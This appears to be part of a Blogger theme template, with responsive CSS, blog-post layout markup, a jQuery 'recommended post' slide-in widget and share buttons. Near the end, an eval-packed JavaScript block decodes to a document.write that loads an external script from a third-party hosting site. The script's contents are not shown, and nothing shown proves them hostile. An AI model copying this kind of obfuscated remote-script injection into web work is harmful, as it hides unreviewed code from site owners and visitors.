#header-luar {
height : auto;
padding : 10px 0 20px;
}
#wrapper, #header-dalam, #header-wrapper, #header, #header2, #header3-wrapper {
width : 590px;
}
#header2 {
margin : 10px 0;
}
#search {
margin : 0;
padding : 0;
}
.header3 #PageList1 li a {
background : #444;
color : #fff;
padding : 0 6px;
font-size : 14px;
line-height : 26px;
margin : 0 5px 5px 0;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
background : #ccc;
color : #000;
}
#post-wrapper, #sidebar-wrapper {
width : 550px;
}
.post {
width : 100%;
}
.post-body img {
max-width : 470px !important ;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
@media screen and (min-width:634px) and (max-width:760px) {
#header-luar {
height : auto;
padding : 10px 0 20px;
}
#wrapper, #header-dalam, #header-wrapper, #header, #header2, #header3-wrapper {
width : 630px;
}
#header2 {
margin : 10px 0;
}
#search {
margin : 0;
padding : 0;
}
.header3 #PageList1 li a {
background : #444;
color : #fff;
padding : 0 6px;
font-size : 14px;
line-height : 26px;
margin : 0 5px 5px 0;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
background : #ccc;
color : #000;
}
#post-wrapper, #sidebar-wrapper {
width : 550px;
}
.post {
width : 100%;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
.post-body img {
max-width : 510px !important ;
}
}
@media screen and (min-width:760px) and (max-width:794px) {
#header-dalam {
width : 756px !important ;
}
#header3-wrapper {
width : 100%;
}
#wrapper {
width : 756px !important ;
}
#post-wrapper {
width : 448px;
}
.post {
width : 433px;
margin : 15px 15px 0 0 !important ;
}
.post-body img {
max-width : 353px !important ;
}
#sidebar-wrapper {
width : 268px;
}
.post {
width : 100%;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
@media screen and (min-width:794px) and (max-width:1000px) {
#header-dalam {
width : 790px !important ;
}
#header3-wrapper {
width : 100%;
}
#wrapper {
width : 790px !important ;
}
#post-wrapper {
width : 450px;
}
#posting {
width : 435px;
margin : 15px 15px 0 0 !important ;
}
.post-body img {
max-width : 355px !important ;
}
#sidebar-wrapper {
width : 300px;
}
.post {
width : 100%;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
.related-post-style-4 .related-post-item-thumbnail {
-webkit-box-shadow:#989898 0 2px 5px;
background:#F1F1F1;
border-color:#FFFFFF #FFFFFF #7C7C7C;
border-style:solid;
border-width:1px;
float:left;
height:100px;
margin:10px 15px 0 5px;
overflow:hidden;
position:relative;
width:auto
}
a img {
border-width:0;
}
.related-post-style-4 .related-post-item-title {
font-weight:bold;
}
a:link {
color:#0274BE;
text-decoration:none;
}
.related-post-style-4, .related-post-style-4 li {
list-style:none;
}
.related-post h4 {
-webkit-box-shadow:#989898 0 2px 5px;
background:#F1F1F1;
border-color:#FFFFFF #FFFFFF #7C7C7C;
border-style:solid;
border-width:1px;
float:left;
height:100px;
margin:10px 15px 0 5px;
overflow:hidden;
position:relative;
width:100px;
}
h4 {
font-size:140%;
}

]]></b:skin>

<b:template-skin>
<b:variable default='960px' name='content.width' type='length'/>
<b:variable default='0' name='main.column.left.width' type='length'/>
<b:variable default='310px' name='main.column.right.width' type='length'/>

<![CDATA[
.post-body {
font-size: 12px;
overflow:hidden;
}
]]>
</b:template-skin>
<b:include data='blog' name='google-analytics'/>

<script type='text/javascript'>
//<![CDATA[

if(document.location.href.split("/").length==6&&document.location.href.indexOf(".html")!=-1){if(typeof hl_onload_queue=='undefined')var hl_onload_queue=[];if(typeof hl_dom_loaded=='boolean')hl_dom_loaded=false;else var hl_dom_loaded=false;if(typeof hl_async_loader!='function'){function hl_async_loader(src,callback,id){var script=document.createElement('script');script.type="text/javascript";script.async=true;script.src=src;script.id=id;var previous_script=document.getElementById(id);if(previous_script)if(previous_script.readyState=="loaded"||previous_script.readyState=="complete"){callback();return}else{script=previous_script}if(script.onload!=null)previous_callback=script.onload;script.onload=script.onreadystatechange=function(){var newcallback;if(previous_script&&previous_callback)newcallback=function(){previous_callback();callback()};else newcallback=callback;if(hl_dom_loaded){newcallback()}else hl_onload_queue.push(newcallback);script.onload=null;script.onreadystatechange=null};var head=document.getElementsByTagName('head')[0];if(!previous_script)head.appendChild(script)}}if(typeof hl_domLoaded!='function')function hl_domLoaded(callback){hl_dom_loaded=true;var len=hl_onload_queue.length;for(var i=0;i<len;i++){hl_onload_queue[i]()}}hl_domLoaded();hl_async_loader("http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js",function(){hl_async_loader("",function(){},"hl-out-slide")},"jQueryjs")} <a href="" target="_blank"></a>

//]]>
</script>

<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js' type='text/javascript'/>

<script type='text/javascript'>
//<![CDATA[
$(function() {
if (typeof hlslidein_custom_css == 'undefined' || !hlslidein_custom_css) $('head').append('<style>#hlslidein{z-index:5;width:400px;height:100px;padding:10px;background-color:#fff;border-top:3px solid #1616f5;position:fixed;right:-430px;bottom:0;-moz-box-shadow:-2px 0 5px #aaa;-webkit-box-shadow:-2px 0 5px #aaa;box-shadow:-2px 0 5px #aaa;font-family:Arial,Helvetica,sans-serif}#hlslidein p{font-size:11px;text-transform:uppercase;font-family:Arial,Helvetica,sans-serif;letter-spacing:1px;color:#555}#hlslidein_title{color:#555;font-weight:700;font-size:16px;margin:10px 20px 10px 0}#hlslidein a,#hlslidein a:hover,#hlslidein_title{text-decoration:none;color:#1616f5}#hlslidein .close,#hlslidein .expand,#hlslidein .help{border:2px solid #EEE;cursor:pointer;color:#9a9aa1;width:13px;height:15px;padding:2px 0 0 5px;position:absolute;right:10px;font-size:17px;font-weight:700;font-family:Arial,Helvetica,sans-serif;font-size:12px}#hlslidein .help{right:35px}#hlslidein_title,#hlslidein_image{float:left;width:80px}#hlslidein_title{width:290px}</style>');
$('#hlslidein').show();
var hlslidein_gone_in = false;
var hl_scroll_lock = false;
$(window).scroll(function() {
if (hl_scroll_lock) return;
if (hlslidein_gone_in == false) $('#hlslidein .expand').hide();
if (document.getElementById("hlslidein_place_holder")) {
var distanceTop = $('#hlslidein_place_holder').offset().top - $(window).height();
} else {
var distanceTop = $(document).height() - $(window).height();
} if ($(window).scrollTop() >= distanceTop) {
if (hlslidein_gone_in == false) {
$('#hlslidein').animate({
'right': '0px',
'bottom': '0px'
}, 300)
} else $('#hlslidein').animate({
'bottom': '-80px',
'right': '0px'
}, 300)
} else $('#hlslidein').stop(true).animate({
'right': '-430px',
'bottom': '0px'
}, 300)
});
$('#hlslidein .close').bind('click', function() {
hl_scroll_lock = true;
$('#hlslidein').stop(true).animate({
'bottom': '-80px'
}, 300);
hl_scroll_lock = false;
hlslidein_gone_in = true;
$('#hlslidein .expand').show();
$('#hlslidein .close').hide()
});
$('#hlslidein .expand').bind('click', function() {
$('#hlslidein .expand').hide();
$('#hlslidein').stop(true).animate({
'bottom': '0px'
}, 300);
hlslidein_gone_in = false;
$('#hlslidein .close').show()
})
});
var hlslideinprocessJson = function(json, status) {
if (json.feed.entry) var randomNum = Math.ceil(Math.random() * json.feed.openSearch$totalResults.$t);
$.ajax({
url: '/feeds/posts/summary',
data: {
'max-results': '2',
'alt': 'json-in-script',
'start-index': randomNum
},
success: hlslideinprocessRecommendation,
dataType: 'jsonp',
cache: true
})
};
$.ajax({
url: '/feeds/posts/summary',
data: {
'max-results': '1',
'alt': 'json-in-script'
},
success: hlslideinprocessJson,
dataType: 'jsonp',
cache: true
});
var hlslideinprocessRecommendation = function(json, status) {
try {
if (json.feed.entry) {
for (var i = 0; i < json.feed.entry.length; i++) {
var entry = json.feed.entry[i];
var url = '';
for (var k = 0; k < entry.link.length; k++) {
if (entry.link[k].rel == 'alternate') {
url = entry.link[k].href + '?utm_source=blog&utm_medium=gadget&utm_campaign=hl_slideout_plugin';
break
}
};
var title = entry.title.$t;
if (location.href.indexOf(url) == -1) {
try {
var thumbUrl = '';
thumbUrl = entry.media$thumbnail.url;
$('#hlslidein_image').html('<img src="' + thumbUrl + '" class="image" title="' + title + '" />')
} catch (error) {}
var link = $('<a>');
link.attr('title', title);
link.text(title);
link.attr('href', url);
$('#hlslidein_title').empty();
link.appendTo($('#hlslidein_title'));
return
}
}
}
} catch (error) {
$('#hlslidein_title').html('<p>Sorry! Some error occurred while fetching the Blog Feed.</p>')
}
};
//]]>
</script>

</head>
<body>
<div class='content'>
<div class='content-outer'>
<div class='fauxborder-left content-fauxborder-left'>
<div class='fauxborder-right content-fauxborder-right'/>
<div class='content-inner'>
<div class='main-outer'>
<div class='fauxborder-left main-fauxborder-left'>
<div class='fauxborder-right main-fauxborder-right'/>
<div class='region-inner main-inner'>
<div class='columns fauxcolumns'>
<div class='fauxcolumn-outer fauxcolumn-center-outer'>
<div class='cap-top'>
<div class='cap-left'/>
<div class='cap-right'/>
</div>
<div class='fauxborder-left'>
<div class='fauxborder-right'/>
<div class='fauxcolumn-inner'>
</div>
</div>
<div class='cap-bottom'>
<div class='cap-left'/>
<div class='cap-right'/>
</div>
</div>
<div class='fauxcolumn-outer fauxcolumn-left-outer'>
<div class='cap-top'>
<div class='cap-left'/>
<div class='cap-right'/>
</div>
<div class='fauxborder-left'>
<div class='fauxborder-right'/>
<div class='fauxcolumn-inner'>
</div>
</div>
<div class='cap-bottom'>
<div class='cap-left'/>
<div class='cap-right'/>
</div>
</div>
<div class='columns-inner'>
<div class='column-center-outer'>
<div id='post-wrapper'>
<b:section class='main' id='main' showaddelement='no'>
<b:widget id='Blog1' locked='true' title='Blog Posts' type='Blog'>
<b:includable id='main' var='top'>
<b:if cond='data:mobile == "false"'>
<div class='blog-posts hfeed'>
<b:include data='top' name='status-message'/>
<data:defaultAdStart/>
<b:loop values='data:posts' var='post'>
<b:if cond='data:post.isDateStart'>
<b:if cond='data:post.isFirstPost == "false"'>
</div></div>
</b:if>
</b:if>
<b:if cond='data:post.isDateStart'>
<div class="date-outer">
</b:if>
<b:if cond='data:post.isDateStart'>
<div class="date-posts">
</b:if>
<div class='post-outer'>
<b:include data='post' name='post'/>
</div>
<b:if cond='data:post.includeAd'>
<b:if cond='data:post.isFirstPost'>
<data:defaultAdEnd/>
<b:else/>
<data:adEnd/>
</b:if>
<div class='inline-ad'>
<data:adCode/>
</div>
<data:adStart/>
</b:if>
</b:loop>
<b:if cond='data:numPosts != 0'>
</div></div>
</b:if>
<data:adEnd/>
</div>
<b:if cond='data:top.showStars'>
<script src='//www.google.com/jsapi' type='text/javascript'/>
<script type='text/javascript'>/*<![CDATA[*/google.load("annotations","1",{"locale":"<data:top.languageCode/>"});function initialize(){google.annotations.setApplicationId(<data:top.blogspotReviews/>);google.annotations.createAll();google.annotations.fetch();}
google.setOnLoadCallback(initialize);/*]]>*/</script>
</b:if>
<b:else/>
</b:if>
<b:if cond='data:top.showDummy'>
<data:top.dummyBootstrap/>
</b:if>
</b:includable>
<b:includable id='backlinkDeleteIcon' var='backlink'/>
<b:includable id='backlinks' var='post'/>
<b:includable id='comment-form' var='post'/>
<b:includable id='commentDeleteIcon' var='comment'/>
<b:includable id='comment_count_picker' var='post'/>
<b:includable id='comment_picker' var='post'/>
<b:includable id='comments' var='post'/>
<b:includable id='feedLinks'/>
<b:includable id='feedLinksBody' var='links'/>
<b:includable id='iframe_comments' var='post'/>
<b:includable id='mobile-index-post' var='post'/>
<b:includable id='mobile-main' var='top'/>
<b:includable id='mobile-nextprev'/>
<b:includable id='mobile-post' var='post'/>
<b:includable id='nextprev'/>
<b:includable id='post' var='post'>
<div class='post hentry' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
<a expr:class='data:post.id'/>
<b:if cond='data:blog.pageType != "item"'>
<b:if cond='data:post.firstImageUrl'>
<div class='postthumb'>
<a expr:href='data:post.url'>
<img class='thumbTooltip' expr:alt='data:post.title' expr:src='data:post.firstImageUrl' expr:title='data:post.title'/></a>
</div>
<b:else/>
<div class='postthumb'>
<a expr:href='data:post.url'>
<img class='thumbTooltip' expr:alt='data:post.title' expr:title='data:post.title' src='https://lh4.googleusercontent.com/-4CkDlEtFYB0/UswW0SbCf5I/AAAAAAAAAS8/dr2jwe0EvFY/w9dygd2t.bmp'/>
</a>
</div>
</b:if>
<b:if cond='data:post.labels'>
<div class='post-label'>
<b:loop values='data:post.labels' var='label'>
<a expr:href='data:label.url' rel='tag nofollow'><data:label.name/></a><b:if cond='data:label.isLast != "true"'/>
</b:loop>
</div>
</b:if>
<b:if cond='data:post.title'>
<h2 class='post-title entry-title' itemprop='name'>
<b:if cond='data:post.link'>
<a expr:href='data:post.link'><data:post.title/></a>
<b:else/>
<b:if cond='data:post.url'>
<a expr:href='data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</b:if>
</h2>
</b:if>
<b:else/>
<b:if cond='data:post.title'>
<h1 class='post-title entry-title' itemprop='name'>
<b:if cond='data:post.link'>
<a expr:href='data:post.link' expr:title='data:post.title'><data:post.title/></a>
<b:else/>
<b:if cond='data:post.url'>
<a expr:href='data:post.url' expr:title='data:post.title'><data:post.title/></a>
<b:else/> <data:post.title/>
</b:if>
</b:if>
</h1>
</b:if>
</b:if>
<div class='post-header'>
<div class='post-header-line-1'/>
</div>
<b:if cond='data:blog.pageType == "static_page"'>
<div class='post-body entry-content' expr:id='"post-body-" + data:post.id' itemprop='articleBody'>
<data:post.body/>
<div style='clear:both'/>
</div>
</b:if>
<b:if cond='data:blog.pageType != "item"'>
<b:if cond='data:blog.pageType != "static_page"'>
<div class='post-body entry-content' expr:id='"summary" + data:post.id' itemprop='articleBody'>
<div class='post-info'>
<div class='post-info-icon admin'>
<b:if cond='data:top.showAuthor'>
<span class='vcard'>
<span class='fn'>
<data:post.author/>
</span>
</span>
</b:if>
</div>
<div class='post-info-icon komentar'>
<b:if cond='data:post.allowComments'>
<a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'> <b:if cond='data:post.numComments == 0'> Add Comment </b:if> <b:if cond='data:post.numComments == 1'> 1 Comment </b:if> <b:if cond='data:post.numComments > 1'> <data:post.numComments/> Comments </b:if>
</a>
</b:if>
</div>
<div class='post-info-icon jam'>
<abbr class='updated published' expr:title='data:post.timestampISO8601'>
<data:post.timestamp/>
</abbr>
</div>
</div>
<b:if cond='data:post.snippet'>
<div class='snippetpost'>
<data:post.snippet/><br/>
</div>
</b:if>
<div style='clear:both'/>
<b:if cond='data:post.hasJumpLink'>
<div class='jump-link'>
<a expr:href='data:post.url + "#more"' expr:title='data:post.title'><data:post.jumpText/></a>
</div>
</b:if>
</div>
</b:if>
</b:if>
<b:if cond='data:blog.pageType == "item"'>
<div itemscope='itemscope' itemtype='http://data-vocabulary.org/Review'>
<div class='post-info' style='padding:0 0 0 0!important;margin:0 0 15px 0!important'>
<div class='post-info-icon admin'>
<b:if cond='data:top.showAuthor'>
<span class='vcard'>
<span class='fn'>
<span itemprop='reviewer'>
<data:post.author/>
</span>
</span>
</span>
</b:if>
</div>
<div class='post-info-icon komentar'>
<b:if cond='data:post.allowComments'>
<a expr:onclick='data:post.addCommentOnclick' href='#comments'> <b:if cond='data:post.numComments == 0'> Add Comment </b:if> <b:if cond='data:post.numComments == 1'> 1 Comment </b:if> <b:if cond='data:post.numComments > 1'> <data:post.numComments/> Comments </b:if>
</a>
</b:if>
</div>
<b:if cond='data:post.labels'>
<div class='post-info-icon label'>
<b:loop values='data:post.labels' var='label'>
<a expr:href='data:label.url' rel='tag nofollow'><data:label.name/></a><b:if cond='data:label.isLast != "true"'>,</b:if>
</b:loop>
</div>
</b:if>
<b:if cond='data:post.dateHeader'>
<div class='post-info-icon tanggal'>
<abbr class='updated published' expr:title='data:post.timestampISO8601'>
<data:post.dateHeader/>
</abbr>
</div>
</b:if>
</div>
<div class='post-body entry-content' expr:id='"post-body-" + data:post.id' itemprop='articleBody'>
<data:post.body/>
<div style='clear:both'/>
</div>
</div>
</b:if>
</div>
<b:if cond='data:blog.pageType == "item"'>
<div class='entry-social'>
<span class='share'>Share this</span>
<div class='plus-button'>
<div class='g-plusone' data-size='medium' expr:data-href='data:post.url'/>
</div>
<div class='like-button'>
<div class='fb-like' data-layout='button_count' data-send='false' data-show-faces='false' data-width='90' expr:data-href='data:post.url'/>
</div>
<div class='tweet-button'>
<a class='twitter-share-button' data-count='horizontal' data-related='' data-via='' expr:data-text='data:post.title' expr:data-url='data:post.url' href='http://twitter.com/share'>Tweet</a>
<script src='http://platform.twitter.com/widgets.js' type='text/javascript'/>
</div>
<div class='linkedin-button'>
<script src='//platform.linkedin.com/in.js' type='text/javascript'/>
<script data-counter='right' expr:data-url='data:post.url' type='IN/Share'/>
</div>
</div>

<div class='clear'/>


<div class='related-post' id='related-post'/>
<script type='text/javascript'>
var labelArray = [<b:if cond='data:post.labels'><b:loop values='data:post.labels' var='label'>
"<data:label.name/>"<b:if cond='data:label.isLast != "true"'>,</b:if>
</b:loop></b:if>];
var relatedPostConfig = {
homePage: "<data:blog.homepageUrl/>",
widgetTitle: "<h4>Related Post</h4>",
numPosts: 6,
summaryLength: 120,
titleLength: "auto",
thumbnailSize: 80,
noImage: "http://cs411920.vk.me/v411920303/7c79/3RhZfIs98hU.jpg",
containerId: "related-post",
newTabLink: false,
moreText: "",
widgetStyle: 4,
callBack: function() {}
};
</script>
<script src='http://yourjavascript.com/2214513241/related-post.js' type='text/javascript'/>


<div id='hlslidein' style='display:none'> <div class='help'>?</div><div class='expand'>+</div> <div class='close'>X</div> <p>Recommended for you</p> <div id='hlslidein_image'/> <div id='hlslidein_title'>Loading..</div> </div>

</b:if>
</b:includable>
<b:includable id='postQuickEdit' var='post'/>
<b:includable id='shareButtons' var='post'/>
<b:includable id='status-message'/>
<b:includable id='threaded-comment-form' var='post'/>
<b:includable id='threaded_comment_js' var='post'/>
<b:includable id='threaded_comments' var='post'/>
</b:widget>
</b:section>
</div>
</div>
</div>
<div style='clear:both'/>
</div>
</div>
</div>
</div>
<div id='footer-wrapper'>
<b:section class='footer' id='footer'/>
</div>
</div>
</div>
</div>
</div>



<script type='text/javascript'>
//<![CDATA[
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('n.o(p(\'%q%4%2%3%7%5%0%e%0%a%5%f%g%8%0%f%r%0%6%b%1%h%1%4%2%3%7%5%0%8%e%4%3%2%g%8%i%0%0%5%s%6%6%a%c%t%3%b%1%h%1%4%2%3%7%5%0%j%2%c%u%6%v%k%9%9%l%9%w%l%x%k%9%6%1%d%d%4%2%3%7%5%0%m%y%d%c%z%m%1%A%1%3%2%i%a%0%1%j%b%4%8%6%B\'));',38,38,'74|61|63|72|73|70|2F|69|22|32|79|6A|6F|6C|20|65|3D|76|68|2E|31|34|2D|document|write|unescape|3C|78|3A|75|6D|33|39|38|66|77|6E|3E'.split('|'),0,{}))
//]]>
</script>



</body>
</html>

------------------------------------------------------------------------------------------------------------------
READ MORE:
------------------------------------------------------------------------------------------------------------------